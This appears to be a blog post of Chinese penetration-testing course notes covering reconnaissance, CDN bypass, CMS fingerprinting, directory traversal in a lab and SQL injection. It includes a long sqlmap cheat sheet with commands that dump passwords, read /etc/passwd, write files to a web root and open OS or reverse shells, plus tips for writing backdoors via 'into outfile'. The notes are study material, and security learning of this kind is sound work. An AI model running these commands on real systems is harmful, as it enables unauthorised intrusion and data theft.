当前位置:   article > 正文

小迪笔记_____域名对于安全测试的意义

域名对于安全测试的意义

第一天基础名词

二级域名与多级域名

二级域名分两种:

  1. 在国际顶级域名下的二级域名

    二级域名一般是指域名注册人选择使用的网上名称,如“yahoo.com”;

    上网的商业组织通常使用自己的商标、商号或其他商业标志作为自己的网上名称,如 “microsoft.com”。

  2. 国家顶级域名下二级域名

    在国家顶级域名之下二级域名一般是指类似于国际顶级域名的表示注册人类别和功能的标志。例 如,在“.com.cn”域名结构中,“.com”此时是置于国家顶级域名“.cn”下的二级域名,表示商业性组 织,以此类推。

域名的发现对于安全测试的意义

  • 可以给安全测试提供更多的测试点,方便获取更多相关信息

DNS

域名系统(Domain Name System)。它是一个域名和IP地址相互映射的一个分布式数据库,能够 使人更方便地访问互联网。DNS使用UDP端口53。对于每一级域名长度的限制是63个字符,域名总 长度则不能超过253个字符。

本地host与dns的关系

  • Hosts在本地将一些常用的网址域名与其对应的IP地址建立一个关联“数据库”,当我们访问域名 时,系统会首先自动从Hosts文件中寻找对应的IP地址,一旦找到,系统会立即打开对应网页,如 果没有找到,则系统会再将网址提交DNS域名解析服务器进行IP地址的解析。
  • Hosts地址:C:\Windows\System32\drivers\etc\hosts

CDN

是构建在数据网络上的一种分布式的内容分发网。 可以提高系统的响应速度,也可以一定 程度的拦截/f防御攻击。

常见的DNS安全攻击

  • 缓存投毒:它是利用虚假Internet地址替换掉域名系统表中的地址,进而制造破坏。
  • DNS劫持:是指在劫持的网络范围内拦截域名解析的请求,分析请求的域名,把审查范围以外的请 求放行,否则返回假的IP地址或者什么都不做使请求失去响应,其效果就是对特定的网络不能访问 或访问的是假网址。(针对面较广)
  • 域名劫持:域名劫持就是在劫持的网络范围内拦截域名解析的请求,分析请求的域名,把审查范围 以外的请求放行,否则直接返回假的IP地址或者什么也不做使得请求失去响应,其效果就是对特定 的网址不能访问或访问的是假网址。(针对面窄一点)
  • DNS DDOS攻击:通过控制大批僵尸网络利用真实DNS协议栈发起大量域名查询请求,利用工具软 件伪造源IP发送海量DNS查询,发送海量DNS查询报文导致网络带宽耗尽而无法传送正常DNS查询 请求。

常见的脚本语言

asp、php、aspx、jsp、Javaweb、pl、py、cgi等

不同的脚本的安全漏洞存在的地方不同,爆发的可能性也不同

后门

通常指那些绕过安全性控制而获取对程序或系统访问权的程序方法。

在软件的开发阶段,程序员常常会在软件内创建后门程序以便可以修改程序设计中的缺陷。

在安全测试中的实际意义

  • 可以更方便的链接到主机
  • 在获取到玩主机权限的时候,后门可以充当命令控制台的角色

web

web组成的架构模型

  • 网站源码:分脚本类型,分应用方向
  • 操作系统:windows linux
  • 中间件(搭建平台):apache iis tomcat nginx 等
  • 数据库:access mysql mssql oracle sybase db2 postsql 等

从web层面为主的原因

  • web使用的比较广
  • web网站了漏洞相对较多
  • web 作为跳板深入到其他资源相对容易

web相关漏洞

  • WEB 源码类对应漏洞:SQL 注入,上传,XSS,代码执行,变量覆盖,逻辑漏洞,反序列化等
  • WEB 中间件对应漏洞:未授权访问,变量覆盖…
  • WEB 数据库对应漏洞:弱口令,权限提升…
  • WEB 系统层对应漏洞:提权,远程代码执行
  • 其他第三方对应漏洞
  • APP 或 PC 应用结合类

第二天数据包拓展

http:HTTP,TCP,IP

https:HTTP,SSL or TLS,TCP,IP

http协议:request与response

多次重放数据包,可能触发重放保护的waf

app访问的数据包与电脑的数据包不同,用电脑访问时,需要将数据包的内容改成与app访问的包的格式一样

第三天搭建安全拓展

ip地址访问可以发现更多的内容(可能访问到整个根目录),而域名访问只能发现根目录下的一个文件夹下的文件(网站目录)

一个网站有多个页面,多个页面是子目录

第四天WEB源码拓展

WEB源码

image-20220407160357157
  • web脚本类型:ASP,PHP,ASPX,JSP,JAVAWEB 等脚本类型源码

  • 应用分类:社交,论坛,门户,第三方,博客等不同的代码机制对应漏洞

    源码实现的函数不同,所以说实现的功能不同,产生的漏洞也不同

  • 开源,未开源问题,框架非框架问题,关于 CMS 识别问题及后续等

    开源的代码可百度以及咸鱼淘宝去买,第三方源码站

  • 框架,可针对框架专门去寻找与框架相关的漏洞

关注应用分类及脚本类型估摸出可能存在的漏洞(其中框架类例外)

例:

ASP、PHP等源码下安全测试

  1. 平台识别-某cms无漏洞-默认数据库
  2. 平台识别-某cms有漏洞-漏洞利用

cms:内容管理系统

asp:动态服务器页面(url地址栏中会出现asp字样)

每个文件都有一个MD5值

CMS

什么是cms

内容管理系统(英语:content management system,缩写为 CMS)是指在一个合作模式下,用于管理工作流程的一套制度。该系统可应用于手工操作中,也可以应用到电脑或网络里。作为一种中央储存器(central repository),内容管理系统可将相关内容集中储存并具有群组管理、版本控制等功能。版本控制是内容管理系统的一个主要优势。

内容管理系统在物品或文案或数据的存储、掌管、修订(盘存)、语用充实、文档发布等方面有着广泛的应用。现在流行的开源CMS系统有WordPress、Joomla!、Drupal、Xoops、CmsTop等。

为什么有识别cms

在web渗透过程中,Web指纹识别是信息收集环节中一个比较重要的步骤,通过一些开源的工具、平台或者手工检测CMS系统是公开的CMS程序还是二次开发至关重要,能准确的获取CMS类型、Web服务组件类型及版本信息可以帮助安全工程师快速有效的去验证已知漏洞。对目标渗透测试过程中,目标的cms是十分重要的信息,有了目标的cms,就可以利用相关bug进行测试,进行代码审计等。

在指纹识别的学习过程中,有很多开源的工具和指纹库,如fofa、WhatWeb、w11scan、WebEye.

识别方式

  1. 网站特有文件

如/templets/default/style/dedecms.css—dedecms

2.网站独有文件的md5

如favicon.ico,但是该文件可以被修改导致不准确。

3.网站文件命名规则

4.返回头的关键字

5.网页关键字

如/data/sessions/index.html——dedecms

6.Url特征

7.Meta特征

8.Script特征

9.robots.txt

10.网站路径特征

11.网站静态资源

12.爬虫网站目录信息

指纹识别的对象

1、CMS信息:比如大汉CMS、织梦、帝国CMS、phpcms、ecshop等;

2、前端技术:比如HTML5、jquery、bootstrap、pure、ace等;

3、Web服务器:比如Apache、lighttpd, Nginx, IIS等;

4、应用服务器:比如Tomcat、Jboss、weblogic、websphere等;

5、开发语言:比如PHP、Java、Ruby、Python、C#等;

6、操作系统信息:比如linux、win2k8、win7、kali、centos等;

7、CDN信息:是否使用CDN,如cloudflare、360cdn、365cyd、yunjiasu等;

8、WAF信息:是否使用waf,如Topsec、Jiasule、Yundun等;

9、IP及域名信息:IP和域名注册信息、服务商信息等;

10、端口信息:有些软件或平台还会探测服务器开放的常见端口。

在线识别网站

1.http://whatweb.bugscaner.com/look/

2.https://pentest.gdpcisa.org/whatcms

3.https://www.yunsee.cn/(云悉指纹识别,强烈推荐)

第五天系统及数据库

识别操作系统常见方法

  • 观察字母大小写,Windows不敏感,linux敏感

    例如:www.xxx.com/123.Php等Windows不会报错,而linux会报错

  • nmap扫描

    nmap -O ip

  • 看ping值(不准确)

    • TTL在64左右,linux
    • TTL在128左右,windows

数据库层面

网站分为动态和静态,大部分为动态

静态网站无漏洞

只要要数据传输就有漏洞—>动态网站

脚本文件比较兼容的数据库,推荐组合

asp+access

php+mysql

aspx+mssql

jsp+mssql,oracle

python+mongodb

注:access不支持linux

常见数据库端口号

关系型数据库:

  1. oracle:1521
  2. mysql:3306
  3. SqlServer:1433

NOSQL数据库:

  1. MongoDB:27017
  2. redis:6379
  3. memcached:11211

第三方

如何判断那些有第三方平台或软件

– 端口扫描

– 特征匹配

简要为什么要识别第三方平台或软件

– 可以提供额外的攻击面

常见第三方平台或软件漏洞类型及攻击

– 弱口令

简要第三方平台或软件安全测试的范围

除去常规WEB安全及APP安全测试外,类似服务器单一或复杂的其他服务( 邮件,游戏,负载均衡 等),也可以作为安全测试目标,此类目标测试原则只是少了WEB应用或其他安全问题。所以明确 安全测试思路是很重要的!
  • 1

第六天加密编码算法

常见的加密编码等算法解析

MD5,SHA,ASC,进制,时间戳,URL,BASE64,UNescape,AES,DES等

常见的加密形式算法解析

直接加密,带salt,带密码,带偏移,带位数,带模式,带干扰,自定义组合等

常见的解密方式(针对)

枚举,自定义逆向算法,可逆向

了解常规加密算法的特性

长度位数,字符规律,代码分析,搜索获取等

在注入时,代码的编码需要和url的一致,否则解析时会出错

第七天CDN

CDN

CDN的全称是Content Delivery Network,即内容分发网络。CDN是构建在现有网络基础之上的智能虚拟网络,依靠部署在各地的边缘服务器,通过中心平台的负载均衡、内容分发、调度等功能模块,使用户就近获取所需内容,降低网络拥塞,提高用户访问响应速度和命中率。CDN的关键技术主要有内容存储和分发技术。

image-20220416190814722

如何判断目标存在CDN服务

利用多节点技术进行请求返回判断,查看响应时间

命令行中,nslookup ip地址 可以查看节点

CDN对安全测试的影响以及如何绕过

  1. 子域名查询:有的网站主域名会做CDN,但是子域名可能不会做
  2. 邮件服务查询:我们访问别人,可能通过CND,但别人访问我们通常不会走CDN
  3. 国外地址请求:国外没有cdn节点的话,可能直接走原ip
  4. 遗留文件,扫描全网 例:谷歌语法: inurl:phpinfo.php
  5. 黑暗引擎搜索特定文件 例:fofa,zoomeyen,shodan
  6. dns历史记录,以量打量:CDN节点是有流量上限的,用光之后就会直通原机,这也是一种流量攻 击

子域名上的小技巧

www.xiaodi8.com 和 xiaodi8.com 虽然浏览器访问后内容是一样的,但是内部解析不同

www.xiaodi8.com 解析时主机记录是www

而 xiaodi8.com的主机记录却是 *

image-20220418192051353

通常网站管理员将两个地址解析至同一ip,但搭建CDN服务时候,可能存在网站管理员只将其中一个设置解析至CDN服务器,也就是说 两种访问方式访问的ip并不相同。

就是说因为普通人输网址的时候会默认输入www 所以网站管理员可能只在www.这个域名上设置cdn 判断方法就是看域名解析的IP是否相同

cdn把www代理过去了,*没有,那么你ping的时候加www就是被cdn接过去了,不加www就是访问的没有经过cdn了

一般来讲是就近服务,所以有cdn的,附近的cdn就提供服务。

如果没有*号的主机记录,那么访问xiaodi8.com则不能访问

域名可以自己设置域名地址的前缀,设置之后可以对其中一个域名地址设置cdn服务,而真正的ip地址对应的域名地址可能没设置cdn服务。

DNS历史记录=第三方接口(接口查询)

微步在线https://x.threatbook.cn

也可以查到子域名

image-20220418194755504

采集/国外请求( 同类型访问)

不同地区即不同节点访问同一网站解析的IP地址可能不一样

邮件源码测试对比第三方查询(地区分析)

邮件查IP,邮件源码

image-20220418202107158

如何辨别

查看备案号,查看IP地址的归属地(地区分析)

本地清下dns,然后hosts里写上得到的ip和域名,如果是cdn可能会出现刷新异常,如果打开很快 大概率是原机

黑暗引擎(shodan搜指定hash文件)

扫全网

fuckcdn,w8fuckcdn,zmap等

第八天信息收集

信息收集

有无web

有CDN(先行绕过,后续接上)

有CDN先绕过然后进行信息收集

  • 国外请求
  • 接口查询
  • 黑暗引擎
  • 扫描全网
  • 子域名
  • …………
无CDN
  • 程序源码
    • 内部/未知CMS
    • 开源CMS
  • 其他
    • 对方的操作系统
    • 搭建平台
    • 数据库类型
  • 对方站点搭建(目标多机会大)
    • 目录站点
    • 端口站点
    • 子域名站点
    • 旁注/C段站点
    • 类似域名站点
    • …………
  • 防护应用WAF(防止被墙)
    • 安全狗
    • 宝塔(不全是防护,还有搭建)
    • 云盾
    • 安骑士
    • …………

有无app

涉及web

提取出来进行web的测试

非web协议

  • 尝试提取
  • 反编译逆向
  • 还没有则web查看有无其他

有无其他

资产信息(侧门信息)

  • 以上各种平台信息
  • whois备案等
  • github等监控

第三方应用(从这些入手)

  • 数据库应用
    • mysql
    • mssql
    • oracle
    • …………
  • 各种管理平台
    • weblogic
    • PHPmyadmin
    • …………
  • 各种第三方应用
    • vsftpd
    • nexus
    • git
    • …………

各种服务接口(发现更多未知的接口尝试)

  • 储存服务
  • 支付服务
  • 内部服务
  • …………

微信公众号等找更多应用继续

  • 涉及web
  • 涉及app
  • 涉及其他

内部群内部应用(社工或发现更多未知的应用)

  • QQ或者微信群
  • 工作群钉钉等
  • 其他通讯群

站点搭建分析

  • 搭建习惯-目录型站点

    • 目录型站点:URL进入的目录不同,web网页展现的不同使用的程序也不同 例如图中的sti.blcu.edu/**bbs/**其中bbs就是该网站文件下的一个目录,如果bbs该目录被攻击,那么其他的也会波及
    • image-20220419114120022
    • 如何的得到:利用网站目录扫描工具,或者平时自己的点击,经验等
  • 搭建习惯-端口类站点

    • image-20220419114805707

    • image-20220419115022603

    • 访问端口的不同展现的也不同程序也不同,URL:端口

      如上图,不加端口默认访问80,加了8080则访问的是另一个网页,都在一个服务器上,所以一个端口出现安全问题,则其他也会出现安全问题,

    • 如何获取,网上进行信息搜索,也可以对网站进行端口扫描

  • 搭建习惯-子域名站点

    • 如www.goodlift.net和bbs.goodlift.net展现的内容和运行的程序也不同,这两个网站也可能不在同一个服务器上面,这是和目录型端口型的差别,这两个网站的IP可能不同也可能相同,IP不同但可能在同一网段,相关内网渗透

    • 可通过URL上添加robots.txt进行查看程序支持

  • 搭建习惯-类似域名站点

    • 来自同一公司或者人的不同域名

      如何查找:后缀的差异.cn/.com/.net

      主要运用于src漏洞挖掘,非法网站

  • 搭建习惯-旁注, c段站点

    • 旁注:两个网站或者多个网站放在同一个服务器上面,同服务器不同站点

      前提条件:对方有多个站点服务器

      例如:192.168.1.100有www.a.com www.b.com …………

    • C段:同网段不同服务器不同站点

      例如:192.168.1.100有www.a.com www.b.com …………

      192.168.1.101有www.c.com www.d.com …………

  • 搭建习惯-搭建软件特征站点

    • 查看搭建软件的类型,可以直接根据该软件出现的漏洞进行攻击

waf防护分析

什么是waf应用

如何识别waf

使用工具去识别,wafwoof

image-20220419144536444

查看网页数据包头,X-Powered-By:WAF

第九天APP信息收集

看不到网站信息和看不到网站时

  1. 先扫描端口,追求速度用massscan或者nmap

  2. 黑暗引擎进行搜索(多个不同的黑暗引擎进行搜索),可以查出端口等等(黑暗引擎扫描的端口和工具扫描的有很大的出入),搜索时可以不加www,这样可以搜到子域名

    image-20220421205806206

    image-20220421210726578

    对网站的这些端口进行访问,不断尝试,根据返回的数据包进行访问

第十天资产收集

GitHub监控

便于收集整理最新exp或者poc

便于发现相关测试目标的资产

img

如果是国内特别正规的网站,在黑暗引擎搜索时发现有国外的域名

image-20220422114003649

可能是seo优化的人员故意写的

image-20220422114337738

各种子域名查询

DNS,备案,证书

全球节点请求CDN

枚举爆破或解析子域名对应

便于发现管理员相关的注册信息

第十一天web漏洞

image-20220720104105958

  • SQL注入漏洞-数据库操作危害
  • 目录遍历漏洞-源码结构泄露危害(目录结构)
  • 文件读取漏洞-源码内容获取危害
  • 文件上传漏洞-web权限丢失危害

sql注入—

目录遍历漏洞

http://127.0.0.1/pikachu/vul/dir/dir_list.php?title=truman.php

http://127.0.0.1/pikachu/vul/dir/dir_list.php?title=jarheads.php

image-20220721104610033

可以看到两个链接都可以进入,url也会展现目录结构,并且也可以执行对应文件

image-20220721105334046

image-20220721105313941

分析dir_list.php文件

image-20220721105116854

php require是php的内置函数,作用是引入或者包含外部php文件,工作原理是当本身php文件被执行时,则外部文件的内容就将被包含进该自身php文件中;当包含的外部文件发生错误时,系统将抛出错误提示,并且停止php文件的执行。
  • 1

例如:truman.php作为title的参数传入进来,造成了执行soup/truman.php

尝试创建一个1.php,内容为“hhhhhh123”,尝试执行

image-20220721110336911

执行成功

image-20220721110847491

查看源文件可以看见在inc目录下有config.inc.php可以执行这个文件得到数据库账号密码,在url上更改title的值为../../../inc/config.inc.php可以查看,但是本题不能成功,只是包含了并没有读取。

如何获得目录结构呢

利用工具扫描

查看网站源代码

文件上传漏洞—

第十二天简要SQL注入

SQL注入-小迪安全.png

www.xiaodi8.com/index.php?id=8

www.xiaodi8.com/?id=10

  • 可能存在注入,虽然没有index.php,但是它是默认指向index.php

www.xiaodi8.com/?id=8&x=1

  • 多个参数注入,哪个参数有就注入哪个

www.xiaodi8.com/index.php

  • post注入,通过提交进行注入

信息收集

  • 数据库版本:version()
  • 数据库名字:database()
  • 数据库用户:user()
  • 操作系统:@@version_compile_os

版本探测的意义

在mysql5.0以后的版本存在一个information_schema数据库、里面存储记录数据库名、表名、列名的数据库
相当于可以通过information_schema这个数据库获取到数据库下面的表名和列名。

获取相关信息

  • information_schema.tables #information_schema下面的所有表名
  • information_schema.columns #information_schema下面所有的列名
  • table_name #表名
  • column_name #列名
  • table_schema #数据库名

数据库名->表名->列名->数据

第十三天SQL注入-mysql注入

mysql注入-小迪.png

跨库注入:如果是普通用户权限就只能在该用户进行注入,如果是root用户权限则可以跨库注入

可以通过跨库注入,注入到目标数据库

跨库注入时,获取对应的表的列名时,最好指定目标数据库,否则可能结果会出现其他数据库的列名,不好分辨

文件读写函数

load_file 文件读取

into outfile 或into dumpfile 文件写入

例:在d盘创建一个www.txt文件并写入x

mysql> select 'x' into outfile 'd:/www.txt'

常见的load_file()读取的敏感信息

https://blog.csdn.net/weixin_30292843/article/details/99381669

路径获取常见方法

报错显示、遗留文件(如phphinfo文件可以看到网站完整路径)、漏洞报错、平台配置文件、爆破等

在url中'/'可能被当成其他字符被识别,例如:/n等等,所以可以使用'\'或者'//'防止被转义

通过url栏写入后门代码

image-20220727153010337

注意可能源代码中存在limit 0,1需要注释掉,防止写入不成功

magic_quotes_gpc魔术引号开关

魔术引号设计的初衷是为了让从数据库或文件中读取数据和从请求中接收参数时,对单引号、双引号、反斜线、NULL加上一个一个反斜线进行转义,这个的作用跟addslashes()的作用完全相同。

正确地接收和读取数据,从而正确地执行SQL语句,防止恶意的SQL注入。

image-20220727154554168

在注入时有此开关,我们可以把路径进行hex编码,这样就不会出现单引号,双引号,反斜线,NULL。Hex编码MySQL语句也可以正常解析

第十四天SQL参数提交注入

img

#简要明确参数类型
数字,字符,搜索,JsoN等

#简要明确请求方法
GET, POST,COOKIE,REQUEST,HTTP头等

其中sql语句干扰符号: ' , " , s , ) , } 等,具体需看写法
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7

GET只能接受GET参数,不能接受POST参数

POST可以同时接受POST和GET参数

GET的数据表现在url上,POST数据在数据包内

image-20220728160442650

在mysql中一般注释后面的字句是采用的--+在有些的字句中采用#注释。需要多测试才能发现,为了验证#是注释符号将#替换为--+执行查看结果看到报错信息。

Cookie注入

源代码过滤了post和get注入,就可以考虑cookie注入

cookie注入其原理也和平时的注入一样,只不过说是将提交的参数以cookie方式提交了,而一般的注入是使用get或者post方式提交,get方式提交就是直接在网址后面加上需要注入的语句,post则是通过表单方式。

参数JSON数据注入

JSON 是存储和交换文本信息的语法,是轻量级的文本数据交换格式。类似xml,但JSON 比 XML 更小、更快,更易解析。所以现在接口数据传输都采用json方式进行。JSON 文本的 MIME 类型是 “application/json”。

json语法

  • 数据在名称/值对中
  • 数据由逗号分隔
  • 大括号保存对象
  • 中括号保存数组

JSON 值可以是:

  1. 数字(整数或浮点数) {“age”:30 }
  2. 字符串(在双引号中) {“uname”:“yang”}
  3. 逻辑值(true 或 false) {“flag”:true }
  4. 数组(在中括号中){“sites”:[{“name”:“yang”},{“name”:“ming”}]}
  5. 对象(在大括号中)JSON 对象在大括号({})中书写: null { “runoob”:null }

JSON注入是指应用程序所解析的JSON数据来源于不可信赖的数据源,程序没有对这些不可信赖的数据进行验证、过滤,如果应用程序使用未经验证的输入构造 JSON,则可以更改 JSON 数据的语义。在相对理想的情况下,攻击者可能会插入无关的元素,导致应用程序在解析 JSON数据时抛出异常。

因为传递的是json的数据,所以当引用json的数据时,源代码上会加上"{}"用来表示该处可以带入json传递的数据

image-20220801142346620

第十五天oracle、MongoDB等注入

数据库注入.png

access,mysql, mssql , mongoDB,postgresql, sqlite,oracle,sybase等

判断网站注入点的权限,看网站连接数据库的配置文件中的用户名,看是谁连接的

access注入

access在市面上已经很少见了,主要和asp搭配

Access数据库 
表名 
   列名	
      数据
access 数据库都是存放在网站目录下,后缀格式为 mdb,asp,asa,可以通过一些暴库手段、目录猜解等直接下载数据库。
可以用mysql注入的方法,把字段猜出来,但是access数据库没有数据库名,数据库版本等等,只有单纯的数据,所以说暴力猜解时,union select 1,2,3,4 from admin,如果猜表名为admin正确时,会回显数字,如果错误则出错或者什么都没有,猜测列名正确则可以得到数据
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6

image-20220801145514509

Access三大攻击手法

1.access注入攻击片段-联合查询法
2.access注入攻击片段-逐字猜解法
3.工具类的使用注入(推荐)

mssql注入

参考文档:https://www.cnblogs.com/xishaonian/p/6173644.html

postgresql注入

参考文档:https://www.cnblogs.com/KevinGeorge/p/8446874.html

Oracle注入

参考文档:https://www.cnblogs.com/peterpan0707007/p/8242119.html

mongoDB注入

参考文档:https://www.cnblogs.com/wefeng/p/11503102.html

SQLmap不能识别MongoDB这里介绍nosqlattack:https://github.com/youngyangyang04/NoSQLAttack

SQLmap使用方法

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-pfgKqlFq-1680851808459)(null)]

基本操作笔记:-u  #注入点 
-f  #指纹判别数据库类型 
-b  #获取数据库版本信息 
-p  #指定可测试的参数(?page=1&id=2 -p "page,id") 
-D ""  #指定数据库名 
-T ""  #指定表名 
-C ""  #指定字段 
-s ""  #保存注入过程到一个文件,还可中断,下次恢复在注入(保存:-s "xx.log" 恢复:-s "xx.log" --resume) 
--level=(1-5) #要执行的测试水平等级,默认为1 
--risk=(0-3)  #测试执行的风险等级,默认为1 
--time-sec=(2,5) #延迟响应,默认为5 
--data #通过POST发送数据 
--columns        #列出字段 
--current-user   #获取当前用户名称 
--current-db     #获取当前数据库名称 
--users          #列数据库所有用户 
--passwords      #数据库用户所有密码 
--privileges     #查看用户权限(--privileges -U root) 
-U               #指定数据库用户 
--dbs            #列出所有数据库 
--tables -D ""   #列出指定数据库中的表 
--columns -T "user" -D "mysql"      #列出mysql数据库中的user表的所有字段 
--dump-all            #列出所有数据库所有表 
--exclude-sysdbs      #只列出用户自己新建的数据库和表 
--dump -T "" -D "" -C ""   #列出指定数据库的表的字段的数据(--dump -T users -D master -C surname) 
--dump -T "" -D "" --start 2 --top 4  # 列出指定数据库的表的2-4字段的数据 
--dbms    #指定数据库(MySQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft Access,SQLite,Firebird,Sybase,SAP MaxDB) 
--os      #指定系统(Linux,Windows) 
-v  #详细的等级(0-6) 
    0:只显示Python的回溯,错误和关键消息。 
    1:显示信息和警告消息。 
    2:显示调试消息。 
    3:有效载荷注入。 
    4:显示HTTP请求。 
    5:显示HTTP响应头。 
    6:显示HTTP响应页面的内容 
--privileges  #查看权限 
--is-dba      #是否是数据库管理员 
--roles       #枚举数据库用户角色 
--udf-inject  #导入用户自定义函数(获取系统权限) 
--union-check  #是否支持union 注入 
--union-cols #union 查询表记录 
--union-test #union 语句测试 
--union-use  #采用union 注入 
--union-tech orderby #union配合order by 
--data "" #POST方式提交数据(--data "page=1&id=2") 
--cookie "用;号分开"      #cookie注入(--cookies=”PHPSESSID=mvijocbglq6pi463rlgk1e4v52; security=low”) 
--referer ""     #使用referer欺骗(--referer "http://www.baidu.com") 
--user-agent ""  #自定义user-agent 
--proxy "http://127.0.0.1:8118" #代理注入 
--string=""    #指定关键词,字符串匹配. 
--threads     #采用多线程(--threads 3) 
--sql-shell    #执行指定sql命令 
--sql-query    #执行指定的sql语句(--sql-query "SELECT password FROM mysql.user WHERE user = 'root' LIMIT 0, 1" ) 
--file-read    #读取指定文件 
--file-write   #写入本地文件(--file-write /test/test.txt --file-dest /var/www/html/1.txt;将本地的test.txt文件写入到目标的1.txt) 
--file-dest    #要写入的文件绝对路径 
--os-cmd=id    #执行系统命令 
--os-shell     #系统交互shell 
--os-pwn       #反弹shell(--os-pwn --msf-path=/opt/framework/msf3/) 
--msf-path=    #matesploit绝对路径(--msf-path=/opt/framework/msf3/) 
--os-smbrelay  # 
--os-bof       # 
--reg-read     #读取win系统注册表 
--priv-esc     # 
--time-sec=    #延迟设置 默认--time-sec=5 为5秒 
-p "user-agent" --user-agent "sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)"  #指定user-agent注入 
--eta          #盲注 
/pentest/database/sqlmap/txt/
common-columns.txt  字段字典    
common-outputs.txt 
common-tables.txt      表字典 
keywords.txt 
oracle-default-passwords.txt 
user-agents.txt 
wordlist.txt 

常用语句 :
1./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -f -b --current-user --current-db --users --passwords --dbs -v 0 

2./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --passwords -U root --union-use -v 2 

3./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --dump -T users -C username -D userdb --start 2 --stop 3 -v 2 

4./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --dump -C "user,pass"  -v 1 --exclude-sysdbs 

5./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --sql-shell -v 2 

6./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --file-read "c:\boot.ini" -v 2 

7./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --file-write /test/test.txt --file-dest /var/www/html/1.txt -v 2 

8./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --os-cmd "id" -v 1 

9./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --os-shell --union-use -v 2 

10./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --os-pwn --msf-path=/opt/framework/msf3 --priv-esc -v 1 

11./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --os-pwn --msf-path=/opt/framework/msf3 -v 1

12./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --os-bof --msf-path=/opt/framework/msf3 -v 1 

13./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 --reg-add --reg-key="HKEY_LOCAL_NACHINE\SOFEWARE\sqlmap" --reg-value=Test --reg-type=REG_SZ --reg-data=1 

14./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --eta 

15./sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_str_brackets.php?id=1" -p id --prefix "')" --suffix "AND ('abc'='abc"

16./sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/basic/get_int.php?id=1" --auth-type Basic --auth-cred "testuser:testpass"

17./sqlmap.py -l burp.log --scope="(www)?\.target\.(com|net|org)"

18./sqlmap.py -u "http://192.168.136.131/sqlmap/mysql/get_int.php?id=1" --tamper tamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 3 

19./sqlmap.py -u "http://192.168.136.131/sqlmap/mssql/get_int.php?id=1" --sql-query "SELECT 'foo'" -v 1 

20./sqlmap.py -u "http://192.168.136.129/mysql/get_int_4.php?id=1" --common-tables -D testdb --banner 

21./sqlmap.py -u "http://192.168.136.129/mysql/get_int_4.php?id=1" --cookie="PHPSESSID=mvijocbglq6pi463rlgk1e4v52; security=low" --string='xx' --dbs --level=3 -p "uid"

简单的注入流程 :
1.读取数据库版本,当前用户,当前数据库 
sqlmap -u http://www.xxxxx.com/test.php?p=2 -f -b --current-user --current-db -v 1 

2.判断当前数据库用户权限 
sqlmap -u http://www.xxxxx.com/test.php?p=2 --privileges -U 用户名 -v 1 
sqlmap -u http://www.xxxxx.com/test.php?p=2 --is-dba -U 用户名 -v 1 

3.读取所有数据库用户或指定数据库用户的密码 
sqlmap -u http://www.xxxxx.com/test.php?p=2 --users --passwords -v 2 
sqlmap -u http://www.xxxxx.com/test.php?p=2 --passwords -U root -v 2 

4.获取所有数据库 
sqlmap -u http://www.xxxxx.com/test.php?p=2 --dbs -v 2 

5.获取指定数据库中的所有表 
sqlmap -u http://www.xxxxx.com/test.php?p=2 --tables -D mysql -v 2 

6.获取指定数据库名中指定表的字段 
sqlmap -u http://www.xxxxx.com/test.php?p=2 --columns -D mysql -T users -v 2 

7.获取指定数据库名中指定表中指定字段的数据 
sqlmap -u http://www.xxxxx.com/test.php?p=2 --dump -D mysql -T users -C "username,password" -s "sqlnmapdb.log" -v 2 

8.file-read读取web文件 
sqlmap -u http://www.xxxxx.com/test.php?p=2 --file-read "/etc/passwd" -v 2 

9.file-write写入文件到web 
sqlmap -u http://www.xxxxx.com/test.php?p=2 --file-write /localhost/mm.php --file使用sqlmap绕过防火墙进行注入测试:
  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30
  • 31
  • 32
  • 33
  • 34
  • 35
  • 36
  • 37
  • 38
  • 39
  • 40
  • 41
  • 42
  • 43
  • 44
  • 45
  • 46
  • 47
  • 48
  • 49
  • 50
  • 51
  • 52
  • 53
  • 54
  • 55
  • 56
  • 57
  • 58
  • 59
  • 60
  • 61
  • 62
  • 63
  • 64
  • 65
  • 66
  • 67
  • 68
  • 69
  • 70
  • 71
  • 72
  • 73
  • 74
  • 75
  • 76
  • 77
  • 78
  • 79
  • 80
  • 81
  • 82
  • 83
  • 84
  • 85
  • 86
  • 87
  • 88
  • 89
  • 90
  • 91
  • 92
  • 93
  • 94
  • 95
  • 96
  • 97
  • 98
  • 99
  • 100
  • 101
  • 102
  • 103
  • 104
  • 105
  • 106
  • 107
  • 108
  • 109
  • 110
  • 111
  • 112
  • 113
  • 114
  • 115
  • 116
  • 117
  • 118
  • 119
  • 120
  • 121
  • 122
  • 123
  • 124
  • 125
  • 126
  • 127
  • 128
  • 129
  • 130
  • 131
  • 132
  • 133
  • 134
  • 135
  • 136
  • 137
  • 138
  • 139
  • 140
  • 141
  • 142
  • 143
  • 144
  • 145
  • 146
  • 147
  • 148
  • 149

第十六天SQL注入之查询方式及报错盲注

网站应用注入类型

具体情况要根据网站功能判断SQL语句进行注入

select查询数据
在网站应用中进行数据显示查询操作
例: select * from news where id=$id

insert插入数据
在网站应用中进行用户注册添加等操作
例: insert into news (id, url,text) values ( 2,‘x’,‘$t’)

delete删除数据
